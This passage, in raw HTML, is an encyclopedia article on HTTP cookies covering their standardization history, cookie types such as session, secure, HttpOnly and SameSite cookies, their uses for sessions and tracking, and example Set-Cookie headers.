class="cite-bracket">[</span>2<span class="cite-bracket">]</span></a></sup> </p><p>The development of the formal cookie specifications was already ongoing. In particular, the first discussions about a formal specification started in April 1995 on the www-talk <a href="/wiki/Electronic_mailing_list" class="mw-redirect" title="Electronic mailing list">mailing list</a>. A special working group within the <a href="/wiki/Internet_Engineering_Task_Force" title="Internet Engineering Task Force">Internet Engineering Task Force</a> (IETF) was formed. Two alternative proposals for introducing state in HTTP transactions had been proposed by <a href="/wiki/Brian_Behlendorf" title="Brian Behlendorf">Brian Behlendorf</a> and David Kristol respectively. But the group, headed by Kristol himself and Lou Montulli, soon decided to use the Netscape specification as a starting point. In February 1996, the working group identified third-party cookies as a considerable privacy threat. The specification produced by the group was eventually published as RFC 2109 in February 1997. It specifies that third-party cookies were either not allowed at all, or at least not enabled by default.<sup id="cite_ref-RFC2109_17-0" class="reference"><a href="#cite_note-RFC2109-17"><span class="cite-bracket">[</span>17<span class="cite-bracket">]</span></a></sup> At this time, advertising companies were already using third-party cookies. The recommendation about third-party cookies of RFC 2109 was not followed by Netscape and Internet Explorer. RFC 2109 was superseded by RFC 2965 in October 2000. </p><p>RFC 2965 added a <code>Set-Cookie2</code> <a href="/wiki/HTTP_header" class="mw-redirect" title="HTTP header">header field</a>, which informally came to be called "RFC 2965-style cookies" as opposed to the original <code>Set-Cookie</code> header field which was called "Netscape-style cookies".<sup id="cite_ref-AGgFj_18-0" class="reference"><a href="#cite_note-AGgFj-18"><span class="cite-bracket">[</span>18<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-V1mES_19-0" class="reference"><a href="#cite_note-V1mES-19"><span class="cite-bracket">[</span>19<span class="cite-bracket">]</span></a></sup> <code>Set-Cookie2</code> was seldom used, however, and was <a href="/wiki/Deprecate" class="mw-redirect" title="Deprecate">deprecated</a> in RFC 6265 in April 2011 which was written as a definitive specification for cookies as used in the real world.<sup id="cite_ref-StateMgmt_20-0" class="reference"><a href="#cite_note-StateMgmt-20"><span class="cite-bracket">[</span>20<span class="cite-bracket">]</span></a></sup> No modern browser recognizes the <code>Set-Cookie2</code> header field.<sup id="cite_ref-TASE4_21-0" class="reference"><a href="#cite_note-TASE4-21"><span class="cite-bracket">[</span>21<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading2"><h2 id="Terminology">Terminology</h2></div> <style data-mw-deduplicate="TemplateStyles:r1251242444">.mw-parser-output .ambox{border:1px solid #a2a9b1;border-left:10px solid #36c;background-color:#fbfbfb;box-sizing:border-box}.mw-parser-output .ambox+link+.ambox,.mw-parser-output .ambox+link+style+.ambox,.mw-parser-output .ambox+link+link+.ambox,.mw-parser-output .ambox+.mw-empty-elt+link+.ambox,.mw-parser-output .ambox+.mw-empty-elt+link+style+.ambox,.mw-parser-output .ambox+.mw-empty-elt+link+link+.ambox{margin-top:-1px}html body.mediawiki .mw-parser-output .ambox.mbox-small-left{margin:4px 1em 4px 0;overflow:hidden;width:238px;border-collapse:collapse;font-size:88%;line-height:1.25em}.mw-parser-output .ambox-speedy{border-left:10px solid #b32424;background-color:#fee7e6}.mw-parser-output .ambox-delete{border-left:10px solid #b32424}.mw-parser-output .ambox-content{border-left:10px solid #f28500}.mw-parser-output .ambox-style{border-left:10px solid #fc3}.mw-parser-output .ambox-move{border-left:10px solid #9932cc}.mw-parser-output .ambox-protection{border-left:10px solid #a2a9b1}.mw-parser-output .ambox .mbox-text{border:none;padding:0.25em 0.5em;width:100%}.mw-parser-output .ambox .mbox-image{border:none;padding:2px 0 2px 0.5em;text-align:center}.mw-parser-output .ambox .mbox-imageright{border:none;padding:2px 0.5em 2px 0;text-align:center}.mw-parser-output .ambox .mbox-empty-cell{border:none;padding:0;width:1px}.mw-parser-output .ambox .mbox-image-div{width:52px}@media(min-width:720px){.mw-parser-output .ambox{margin:0 10%}}@media print{body.ns-0 .mw-parser-output .ambox{display:none!important}}</style><table class="box-More_citations_needed_section plainlinks metadata ambox ambox-content ambox-Refimprove" role="presentation"><tbody><tr><td class="mbox-image"><div class="mbox-image-div"><span typeof="mw:File"><a href="/wiki/File:Question_book-new.svg" class="mw-file-description"><img alt="" src="//upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/50px-Question_book-new.svg.png" decoding="async" width="50" height="39" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/75px-Question_book-new.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/100px-Question_book-new.svg.png 2x" data-file-width="512" data-file-height="399" /></a></span></div></td><td class="mbox-text"><div class="mbox-text-span">This section <b>needs additional citations for <a href="/wiki/Wikipedia:Verifiability" title="Wikipedia:Verifiability">verification</a></b>.<span class="hide-when-compact"> Please help <a href="/wiki/Special:EditPage/HTTP_cookie" title="Special:EditPage/HTTP cookie">improve this article</a> by <a href="/wiki/Help:Referencing_for_beginners" title="Help:Referencing for beginners">adding citations to reliable sources</a> in this section. Unsourced material may be challenged and removed.</span> <span class="date-container"><i>(<span class="date">August 2011</span>)</i></span><span class="hide-when-compact"><i> (<small><a href="/wiki/Help:Maintenance_template_removal" title="Help:Maintenance template removal">Learn how and when to remove this message</a></small>)</i></span></div></td></tr></tbody></table> <div class="mw-heading mw-heading3"><h3 id="Session_cookie">Session cookie</h3></div> <p>A <i>session cookie</i> (also known as an <i>in-memory cookie</i>, <i>transient cookie</i> or <i>non-persistent cookie</i>) exists only in temporary memory while the user navigates a website.<sup id="cite_ref-mscookie_22-0" class="reference"><a href="#cite_note-mscookie-22"><span class="cite-bracket">[</span>22<span class="cite-bracket">]</span></a></sup> Session cookies expire or are deleted when the user closes the web browser.<sup id="cite_ref-HwxT6_23-0" class="reference"><a href="#cite_note-HwxT6-23"><span class="cite-bracket">[</span>23<span class="cite-bracket">]</span></a></sup> Session cookies are identified by the browser by the absence of an expiration date assigned to them. </p> <div class="mw-heading mw-heading3"><h3 id="Persistent_cookie">Persistent cookie</h3></div> <p>A <i>persistent cookie</i> expires at a specific date or after a specific length of time. For the persistent cookie's lifespan set by its creator, its information will be transmitted to the server every time the user visits the website that it belongs to, or every time the user views a resource belonging to that website from another website (such as an advertisement). </p><p>For this reason, persistent cookies are sometimes referred to as <i>tracking cookies</i><sup id="cite_ref-24" class="reference"><a href="#cite_note-24"><span class="cite-bracket">[</span>24<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-25" class="reference"><a href="#cite_note-25"><span class="cite-bracket">[</span>25<span class="cite-bracket">]</span></a></sup> because they can be used by advertisers to record information about a user's web browsing habits over an extended period of time. Persistent cookies are also used for reasons such as keeping users logged into their accounts on websites, to avoid re-entering login credentials at every visit. <style data-mw-deduplicate="TemplateStyles:r1033199720">.mw-parser-output div.crossreference{padding-left:0}</style><style data-mw-deduplicate="TemplateStyles:r1236090951">.mw-parser-output .hatnote{font-style:italic}.mw-parser-output div.hatnote{padding-left:1.6em;margin-bottom:0.5em}.mw-parser-output .hatnote i{font-style:normal}.mw-parser-output .hatnote+link+.hatnote{margin-top:-0.5em}@media print{body.ns-0 .mw-parser-output .hatnote{display:none!important}}</style><span role="note" class="hatnote navigation-not-searchable crossreference selfref">(See <a href="#Uses">§ Uses</a>, below.)</span> </p> <div class="mw-heading mw-heading3"><h3 id="Secure_cookie">Secure cookie</h3></div> <p>A <i>secure cookie</i> can only be transmitted over an encrypted connection (i.e. <a href="/wiki/HTTP_Secure" class="mw-redirect" title="HTTP Secure">HTTPS</a>). They cannot be transmitted over unencrypted connections (i.e. <a href="/wiki/HTTP" title="HTTP">HTTP</a>). This makes the cookie less likely to be exposed to cookie theft via <a href="/wiki/Network_eavesdropping" title="Network eavesdropping">eavesdropping</a>. A cookie is made secure by adding the <code>Secure</code> flag to the cookie. </p> <div class="mw-heading mw-heading3"><h3 id="Http-only_cookie"><span class="anchor" id="HttpOnly_cookie"></span>Http-only cookie</h3></div> <p>An <i>http-only cookie</i> cannot be accessed by client-side APIs, such as <a href="/wiki/JavaScript" title="JavaScript">JavaScript</a>. This restriction eliminates the threat of cookie theft via <a href="/wiki/Cross-site_scripting" title="Cross-site scripting">cross-site scripting</a> (XSS).<sup id="cite_ref-26" class="reference"><a href="#cite_note-26"><span class="cite-bracket">[</span>26<span class="cite-bracket">]</span></a></sup> However, the cookie remains vulnerable to <a href="/wiki/Cross-site_tracing" title="Cross-site tracing">cross-site tracing</a> (XST) and <a href="/wiki/Cross-site_request_forgery" title="Cross-site request forgery">cross-site request forgery</a> (CSRF) attacks. A cookie is given this characteristic by adding the <code>HttpOnly</code> flag to the cookie. </p> <div class="mw-heading mw-heading3"><h3 id="Same-site_cookie"><span class="anchor" id="SameSite_cookie"></span>Same-site cookie</h3></div> <p>In 2016 <a href="/wiki/Google_Chrome" title="Google Chrome">Google Chrome</a> version 51 introduced<sup id="cite_ref-T8177_27-0" class="reference"><a href="#cite_note-T8177-27"><span class="cite-bracket">[</span>27<span class="cite-bracket">]</span></a></sup> a new kind of cookie with attribute <code>SameSite</code> with possible values of <code>Strict</code>, <code>Lax</code> or <code>None</code>.<sup id="cite_ref-oCqyo_28-0" class="reference"><a href="#cite_note-oCqyo-28"><span class="cite-bracket">[</span>28<span class="cite-bracket">]</span></a></sup> With attribute <code>SameSite=Strict</code>, the browsers would only send cookies to a target domain that is the same as the origin domain. This would effectively mitigate <a href="/wiki/Cross-site_request_forgery" title="Cross-site request forgery">cross-site request forgery</a> (CSRF) attacks.<sup id="cite_ref-wi75q_29-0" class="reference"><a href="#cite_note-wi75q-29"><span class="cite-bracket">[</span>29<span class="cite-bracket">]</span></a></sup> With <code>SameSite=Lax</code>, browsers would send cookies with requests to a target domain even it is different from the origin domain, but only for <i>safe</i> requests such as GET (POST is unsafe) and not third-party cookies (inside iframe). Attribute <code>SameSite=None</code> would allow third-party (cross-site) cookies, however, most browsers require <a href="#Secure_cookie">secure attribute</a> on SameSite=None cookies.<sup id="cite_ref-vQf6D_30-0" class="reference"><a href="#cite_note-vQf6D-30"><span class="cite-bracket">[</span>30<span class="cite-bracket">]</span></a></sup> </p><p>The Same-site cookie is incorporated into a new RFC draft for "Cookies: HTTP State Management Mechanism"<sup id="cite_ref-31" class="reference"><a href="#cite_note-31"><span class="cite-bracket">[</span>31<span class="cite-bracket">]</span></a></sup> to update RFC 6265 (if approved). </p><p>Chrome, Firefox, and Edge started to support Same-site cookies.<sup id="cite_ref-sJzIz_32-0" class="reference"><a href="#cite_note-sJzIz-32"><span class="cite-bracket">[</span>32<span class="cite-bracket">]</span></a></sup> The key of rollout is the treatment of existing cookies without the SameSite attribute defined, Chrome has been treating those existing cookies as if SameSite=None, this would let all website/applications run as before. Google intended to change that default to <code>SameSite=Lax</code> in Chrome 80 planned to be released in February 2020,<sup id="cite_ref-QPJhf_33-0" class="reference"><a href="#cite_note-QPJhf-33"><span class="cite-bracket">[</span>33<span class="cite-bracket">]</span></a></sup> but due to potential for breakage of those applications/websites that rely on third-party/cross-site cookies and <a href="/wiki/COVID-19" title="COVID-19">COVID-19</a> circumstances, Google postponed this change to Chrome 84.<sup id="cite_ref-Ne4hV_34-0" class="reference"><a href="#cite_note-Ne4hV-34"><span class="cite-bracket">[</span>34<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-35" class="reference"><a href="#cite_note-35"><span class="cite-bracket">[</span>35<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading3"><h3 id="Supercookie">Supercookie</h3></div> <p>A <i>supercookie</i> is a cookie with an origin of a <a href="/wiki/Top-level_domain" title="Top-level domain">top-level domain</a> (such as <code>.com</code>) or a public suffix (such as <code>.co.uk</code>). Ordinary cookies, by contrast, have an origin of a specific domain name, such as <code>example.com</code>. </p><p>Supercookies can be a potential security concern and are therefore often blocked by web browsers. If unblocked by the browser, an attacker in control of a malicious website could set a supercookie and potentially disrupt or impersonate legitimate user requests to another website that shares the same top-level domain or public suffix as the malicious website. For example, a supercookie with an origin of <code>.com</code>, could maliciously affect a request made to <code>example.com</code>, even if the cookie did not originate from <code>example.com</code>. This can be used to fake logins or change user information. </p><p>The <a href="/wiki/Public_Suffix_List" title="Public Suffix List">Public Suffix List</a><sup id="cite_ref-oN0iG_36-0" class="reference"><a href="#cite_note-oN0iG-36"><span class="cite-bracket">[</span>36<span class="cite-bracket">]</span></a></sup> helps to mitigate the risk that supercookies pose. The Public Suffix List is a cross-vendor initiative that aims to provide an accurate and up-to-date list of domain name suffixes. Older versions of browsers may not have an up-to-date list, and will therefore be vulnerable to supercookies from certain domains. </p> <div class="mw-heading mw-heading4"><h4 id="Other_uses">Other uses</h4></div> <p>The term <i>supercookie</i> is sometimes used for tracking technologies that do not rely on HTTP cookies. Two such <i>supercookie</i> mechanisms were found on Microsoft websites in August 2011: cookie syncing that respawned MUID (machine unique identifier) cookies, and <a href="/wiki/HTTP_ETag" title="HTTP ETag">ETag</a> cookies.<sup id="cite_ref-Ivyb7_37-0" class="reference"><a href="#cite_note-Ivyb7-37"><span class="cite-bracket">[</span>37<span class="cite-bracket">]</span></a></sup> Due to media attention, Microsoft later disabled this code.<sup id="cite_ref-8LKGy_38-0" class="reference"><a href="#cite_note-8LKGy-38"><span class="cite-bracket">[</span>38<span class="cite-bracket">]</span></a></sup> In a 2021 blog post, Mozilla used the term <i>supercookie</i> to refer to <a href="#Browser_cache">the use of browser cache</a> as a means of tracking users across sites.<sup id="cite_ref-PyGKV_39-0" class="reference"><a href="#cite_note-PyGKV-39"><span class="cite-bracket">[</span>39<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading3"><h3 id="Zombie_cookie">Zombie cookie</h3></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">Main articles: <a href="/wiki/Zombie_cookie" title="Zombie cookie">Zombie cookie</a> and <a href="/wiki/Evercookie" title="Evercookie">Evercookie</a></div> <p>A <i>zombie cookie</i> is data and code that has been placed by a <a href="/wiki/Web_server" title="Web server">web server</a> on a visitor's computer or other device in a hidden location outside the visitor's <a href="/wiki/Web_browser" title="Web browser">web browser</a>'s dedicated cookie storage location, and that automatically recreates a HTTP cookie as a regular cookie after the original cookie had been deleted. The zombie cookie may be stored in multiple locations, such as <a href="/wiki/Local_shared_object" title="Local shared object">Flash Local shared object</a>, <a href="/wiki/Web_storage" title="Web storage">HTML5 Web storage</a>, and other client-side and even server-side locations, and when absence is detected in one of the locations, the missing instance is recreated by the JavaScript code using the data stored in other locations.<sup id="cite_ref-MLbxD_40-0" class="reference"><a href="#cite_note-MLbxD-40"><span class="cite-bracket">[</span>40<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-k81iO_41-0" class="reference"><a href="#cite_note-k81iO-41"><span class="cite-bracket">[</span>41<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading3"><h3 id="Cookie_wall"><span class="anchor" id="cookie_wall"></span>Cookie wall</h3></div> <p>A cookie wall pops up on a website and informs the user of the website's cookie usage. It has no reject option, and the website is not accessible without tracking cookies. </p> <div class="mw-heading mw-heading2"><h2 id="Structure">Structure</h2></div> <p>A cookie consists of the following components:<sup id="cite_ref-Peng,_Weihong_2000_42-0" class="reference"><a href="#cite_note-Peng,_Weihong_2000-42"><span class="cite-bracket">[</span>42<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-Stenberg,_Daniel_2009_43-0" class="reference"><a href="#cite_note-Stenberg,_Daniel_2009-43"><span class="cite-bracket">[</span>43<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-44" class="reference"><a href="#cite_note-44"><span class="cite-bracket">[</span>44<span class="cite-bracket">]</span></a></sup> </p> <ol><li>Name</li> <li>Value</li> <li>Zero or more attributes (<a href="/wiki/Attribute%E2%80%93value_pair" class="mw-redirect" title="Attribute–value pair">name/value pairs</a>). Attributes store information such as the cookie's expiration, domain, and flags (such as <code>Secure</code> and <code>HttpOnly</code>).</li></ol> <div class="mw-heading mw-heading2"><h2 id="Uses">Uses</h2></div> <div class="mw-heading mw-heading3"><h3 id="Session_management">Session management</h3></div> <p>Cookies were originally introduced to provide a way for users to record items they want to purchase as they navigate throughout a website (a virtual <i>shopping cart</i> or <i>shopping basket</i>).<sup id="cite_ref-kesan_9-1" class="reference"><a href="#cite_note-kesan-9"><span class="cite-bracket">[</span>9<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-kristol_10-2" class="reference"><a href="#cite_note-kristol-10"><span class="cite-bracket">[</span>10<span class="cite-bracket">]</span></a></sup> Today, however, the contents of a user's shopping cart are usually stored in a database on the server, rather than in a cookie on the client. To keep track of which user is assigned to which shopping cart, the server sends a cookie to the client that contains a <a href="/wiki/Unique_identifier" title="Unique identifier">unique session identifier</a> (typically, a long string of random letters and numbers). Because cookies are sent to the server with every request the client makes, that session identifier will be sent back to the server every time the user visits a new page on the website, which lets the server know which shopping cart to display to the user. </p><p>Another popular use of cookies is for logging into websites. When the user visits a website's login page, the web server typically sends the client a cookie containing a unique session identifier. When the user successfully logs in, the server remembers that that particular session identifier has been authenticated and grants the user access to its services. </p><p>Because session cookies only contain a unique session identifier, this makes the amount of personal information that a website can save about each user virtually limitless—the website is not limited to restrictions concerning how large a cookie can be. Session cookies also help to improve page load times, since the amount of information in a session cookie is small and requires little bandwidth. </p> <div class="mw-heading mw-heading3"><h3 id="Personalization">Personalization</h3></div> <p>Cookies can be used to remember information about the user in order to show relevant content to that user over time. For example, a web server might send a cookie containing the username that was last used to log into a website, so that it may be filled in automatically the next time the user logs in. </p><p>Many websites use cookies for personalization based on the user's preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user accesses a page on the website, the server can personalize the page according to the user's preferences. For example, the <a href="/wiki/Google" title="Google">Google</a> search engine once used cookies to allow users (even non-registered ones) to decide how many search results per page they wanted to see. Also, <a href="/wiki/DuckDuckGo" title="DuckDuckGo">DuckDuckGo</a> uses cookies to allow users to set the viewing preferences like colors of the web page. </p> <div class="mw-heading mw-heading3"><h3 id="Tracking">Tracking</h3></div> <link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1236090951"><div role="note" class="hatnote navigation-not-searchable">See also: <a href="/wiki/Web_tracking" title="Web tracking">Web tracking</a></div> <p>Tracking cookies are used to track users' web browsing habits. This can also be done to some extent by using the <a href="/wiki/IP_address" title="IP address">IP address</a> of the computer requesting the page or the <a href="/wiki/HTTP_referer" title="HTTP referer">referer</a> field of the <a href="/wiki/HTTP" title="HTTP">HTTP</a> request header, but cookies allow for greater precision. This can be demonstrated as follows: </p> <ol><li>If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user. So the server creates a unique identifier (typically a string of random letters and numbers) and sends it as a cookie back to the browser together with the requested page.</li> <li>From this point on, the cookie will automatically be sent by the browser to the server every time a new page from the site is requested. The server not only sends the page as usual but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file.</li></ol> <p>By analyzing this log file, it is then possible to find out which pages the user has visited, in what sequence, and for how long. </p><p>Corporations exploit users' web habits by tracking cookies to collect information about buying habits. The <i><a href="/wiki/Wall_Street_Journal" class="mw-redirect" title="Wall Street Journal">Wall Street Journal</a></i> found that America's top fifty websites installed an average of sixty-four pieces of tracking technology onto computers, resulting in a total of 3,180 tracking files.<sup id="cite_ref-tpktn_45-0" class="reference"><a href="#cite_note-tpktn-45"><span class="cite-bracket">[</span>45<span class="cite-bracket">]</span></a></sup> The data can then be collected and sold to bidding corporations. </p> <div class="mw-heading mw-heading2"><h2 id="Implementation">Implementation</h2></div> <figure class="mw-default-size" typeof="mw:File/Thumb"><a href="/wiki/File:HTTP_cookie_exchange.svg" class="mw-file-description"><img src="//upload.wikimedia.org/wikipedia/commons/thumb/b/bc/HTTP_cookie_exchange.svg/220px-HTTP_cookie_exchange.svg.png" decoding="async" width="220" height="123" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/b/bc/HTTP_cookie_exchange.svg/330px-HTTP_cookie_exchange.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/b/bc/HTTP_cookie_exchange.svg/440px-HTTP_cookie_exchange.svg.png 2x" data-file-width="700" data-file-height="390" /></a><figcaption>A possible interaction between a web browser and a web server holding a web page in which the server sends a cookie to the browser and the browser sends it back when requesting another page</figcaption></figure> <p>Cookies are arbitrary pieces of data, usually chosen and first sent by the web server, and stored on the client computer by the web browser. The browser then sends them back to the server with every request, introducing <a href="/wiki/State_(computer_science)" title="State (computer science)">states</a> (memory of previous events) into otherwise stateless <a href="/wiki/HTTP" title="HTTP">HTTP</a> transactions. Without cookies, each retrieval of a <a href="/wiki/Web_page" title="Web page">web page</a> or component of a web page would be an isolated event, largely unrelated to all other page views made by the user on the website. Although cookies are usually set by the web server, they can also be set by the client using a scripting language such as <a href="/wiki/JavaScript" title="JavaScript">JavaScript</a> (unless the cookie's <code>HttpOnly</code> flag is set, in which case the cookie cannot be modified by scripting languages). </p><p>The cookie specifications<sup id="cite_ref-httponlyrfc_46-0" class="reference"><a href="#cite_note-httponlyrfc-46"><span class="cite-bracket">[</span>46<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-NWRaX_47-0" class="reference"><a href="#cite_note-NWRaX-47"><span class="cite-bracket">[</span>47<span class="cite-bracket">]</span></a></sup> require that browsers meet the following requirements in order to support cookies: </p> <ul><li>Can support cookies as large as 4,096 <a href="/wiki/Byte" title="Byte">bytes</a> in size.</li> <li>Can support at least 50 cookies per <a href="/wiki/Internet_domain" class="mw-redirect" title="Internet domain">domain</a> (i.e. per website).</li> <li>Can support at least 3,000 cookies in total.</li></ul> <div class="mw-heading mw-heading3"><h3 id="Setting_a_cookie">Setting a cookie</h3></div> <p>Cookies are set using the <code>Set-Cookie</code> <a href="/wiki/HTTP_header" class="mw-redirect" title="HTTP header">header field</a>, sent in an HTTP response from the web server. This header field instructs the web browser to store the cookie and send it back in future requests to the server (the browser will ignore this header field if it does not support cookies or has disabled cookies). </p><p>As an example, the browser sends its first HTTP request for the homepage of the <code>www.example.org</code> website: </p> <div class="mw-highlight mw-highlight-lang-http mw-content-ltr" dir="ltr"><pre><span></span><span class="nf">GET</span> <span class="nn">/index.html</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="o">:</span> <span class="l">www.example.org</span> <span class="err">...</span> </pre></div> <p>The server responds with two <code>Set-Cookie</code> header fields: </p> <div class="mw-highlight mw-highlight-lang-http mw-content-ltr" dir="ltr"><pre><span></span><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.0</span> <span class="m">200</span> <span class="ne">OK</span> <span class="na">Content-type</span><span class="o">:</span> <span class="l">text/html</span> <span class="na">Set-Cookie</span><span class="o">:</span> <span class="l">theme=light</span> <span class="na">Set-Cookie</span><span class="o">:</span> <span class="l">sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT</span> <span class="err">...</span> </pre></div> <p>The server's HTTP response contains the contents of the website's homepage. But it also instructs the browser to set two cookies. The first, <i>theme</i>, is considered to be a <i>session cookie</i> since it does not have an <code>Expires</code> or <code>Max-Age</code> attribute. Session cookies are intended to be deleted by the browser when the browser closes. The second, <i>sessionToken</i>, is considered to be a <i>persistent cookie</i> since it contains an <code>Expires</code> attribute, which instructs the browser to delete the cookie at a specific date and time. </p><p>Next, the browser sends another request to visit the <code>spec.html</code> page on the website. This request contains a <code>Cookie</code> header field, which contains the two cookies that the server instructed the browser to set: </p> <div class="mw-highlight mw-highlight-lang-http mw-content-ltr" dir="ltr"><pre><span></span><span class="nf">GET</span> <span class="nn">/spec.html</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="o">:</span> <span class="l">www.example.org</span> <span class="na">Cookie</span><span class="o">:</span> <span class="l">theme=light; sessionToken=abc123</span> <span class="err">…</span> </pre></div> <p>This way, the server knows that this HTTP request is related to the previous one. The server would answer by sending the requested page, possibly including more <code>Set-Cookie</code> header fields in the HTTP response in order to instruct the browser to add new cookies, modify existing cookies, or remove existing cookies. To remove a cookie, the server must include a <code>Set-Cookie</code> header field with an expiration date in the past. </p><p>The value of a cookie may consist of any printable <a href="/wiki/ASCII" title="ASCII">ASCII</a> character (<code>!</code> through <code>~</code>, <a href="/wiki/Unicode" title="Unicode">Unicode</a> <code>\u0021</code> through <code>\u007E</code>) excluding <code>,</code>and<code>;</code> and <a href="/wiki/Whitespace_character" title="Whitespace character">whitespace characters</a>. The name of a cookie excludes the same characters, as well as <code>=</code>, since that is the delimiter between the name and value. The cookie standard RFC 2965 is more restrictive but not implemented by browsers. </p><p>The term <i>cookie crumb</i> is sometimes used to refer to a cookie's name–value pair.<sup id="cite_ref-CrumbExample_48-0" class="reference"><a href="#cite_note-CrumbExample-48"><span class="cite-bracket">[</span>48<span class="cite-bracket">]</span></a></sup> </p><p>Cookies can also be set by scripting languages such as <a href="/wiki/JavaScript" title="JavaScript">JavaScript</a> that run within the browser. In JavaScript, the object <code>document.cookie</code> is used for this purpose. For example, the instruction <code>document.cookie = "temperature=20"</code> creates a cookie of name <i>temperature</i> and value <i>20</i>.<sup id="cite_ref-Q2GAk_49-0" class="reference"><a href="#cite_note-Q2GAk-49"><span class="cite-bracket">[</span>49<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading3"><h3 id="Cookie_attributes">Cookie attributes</h3></div> <p>In addition to a name and value, cookies can also have one or more attributes. Browsers do not include cookie attributes in requests to the server—they only send the cookie's name and value. Cookie attributes are used by browsers to determine when to delete a cookie, block a cookie or whether to send a cookie to the server. </p> <div class="mw-heading mw-heading4"><h4 id="Domain_and_Path">Domain and Path</h4></div> <p>The <code>Domain</code> and <code>Path</code> attributes define the scope of the cookie. They essentially tell the browser what website the cookie belongs to. For security reasons, cookies can only be set on the current resource's top domain and its subdomains, and not for another domain and its subdomains. For example, the website <code>example.org</code> cannot set a cookie that has a domain of <code>foo.com</code> because this would allow the website <code>example.org</code> to control the cookies of the domain <code>foo.com</code>. </p><p>If a cookie's <code>Domain</code> and <code>Path</code> attributes are not specified by the server, they default to the domain and path of the resource that was requested.<sup id="cite_ref-uMnRY_50-0" class="reference"><a href="#cite_note-uMnRY-50"><span class="cite-bracket">[</span>50<span class="cite-bracket">]</span></a></sup> However, in most browsers there is a difference between a cookie set from <code>foo.com</code> without a domain, and a cookie set with the <code>foo.com</code> domain. In the former case, the cookie will only be sent for requests to <code>foo.com</code>, also known as a host-only cookie. In the latter case, all subdomains are also included (for example, <code>docs.foo.com</code>).<sup id="cite_ref-iDIGa_51-0" class="reference"><a href="#cite_note-iDIGa-51"><span class="cite-bracket">[</span>51<span class="cite-bracket">]</span></a></sup><sup id="cite_ref-5Qixt_52-0" class="reference"><a href="#cite_note-5Qixt-52"><span class="cite-bracket">[</span>52<span class="cite-bracket">]</span></a></sup> A notable exception to this general rule is Edge prior to Windows 10 RS3 and Internet Explorer prior to IE 11 and Windows 10 RS4 (April 2018), which always sends cookies to subdomains regardless of whether the cookie was set with or without a domain.<sup id="cite_ref-Ry6VV_53-0" class="reference"><a href="#cite_note-Ry6VV-53"><span class="cite-bracket">[</span>53<span class="cite-bracket">]</span></a></sup> </p><p>Below is an example of some <code>Set-Cookie</code> header fields in the HTTP response of a website after a user logged in. The HTTP request was sent to a webpage within the <code>docs.foo.com</code> subdomain: </p> <div class="mw-highlight mw-highlight-lang-http mw-content-ltr" dir="ltr"><pre><span></span><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.0</span> <span class="m">200</span> <span class="ne">OK</span> <span class="na">Set-Cookie</span><span class="o">:</span> <span class="l">LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly</span> <span class="na">Set-Cookie</span><span class="o">:</span> <span class="l">HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly</span> <span class="na">Set-Cookie</span><span class="o">:</span> <span class="l">SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly</span> <span class="err">…</span> </pre></div> <p>The first cookie, <code>LSID</code>, has no <code>Domain</code> attribute, and has a <code>Path</code> attribute set to <code>/accounts</code>. This tells the browser to use the cookie only when requesting pages contained in <code>docs.foo.com/accounts</code> (the domain is derived from the request domain). The other two cookies, <code>HSID</code> and <code>SSID</code>, would be used when the browser requests any subdomain in <code>.foo.com</code> on any path (for example <code>www.foo.com/bar</code>). The prepending dot is optional in recent standards, but can be added for compatibility with RFC 2109 based implementations.<sup id="cite_ref-gxcF2_54-0" class="reference"><a href="#cite_note-gxcF2-54"><span class="cite-bracket">[</span>54<span class="cite-bracket">]</span></a></sup> </p> <div class="mw-heading mw-heading4"><h4 id="Expires_and_Max-Age">Expires and Max-Age</h4></div> <p>The <code>Expires</code> attribute defines a specific date and time for when the browser should delete the cookie. The date and time are specified in the form <code>Wdy, DD Mon YYYY HH:MM:SS GMT</code>, or in the form <code>Wdy, DD Mon YY HH:MM:SS GMT</code> for values of YY where YY is greater than or equal to 0 and less than or equal to 69.<sup id="cite_ref-QKuwv_55-0" class="reference"><a href="#cite_note-QKuwv-55"><span class="cite-bracket">[</span>55<span class="cite-bracket">]</span></a></sup> </p><p>Alternatively, the <code>Max-Age</code> attribute can be used to set the cookie's expiration as an interval of seconds in the future, relative to the time the browser received the cookie. Below is an example of three <code>Set-Cookie</code> header fields that were received from a website after a user logged in: </p> <div class="mw-highlight mw-highlight-lang-http mw-content-ltr" dir="ltr"><pre><span></span><span class="kr">HTTP</span><span class="o">/</span><span class="m">1.0</span> <span 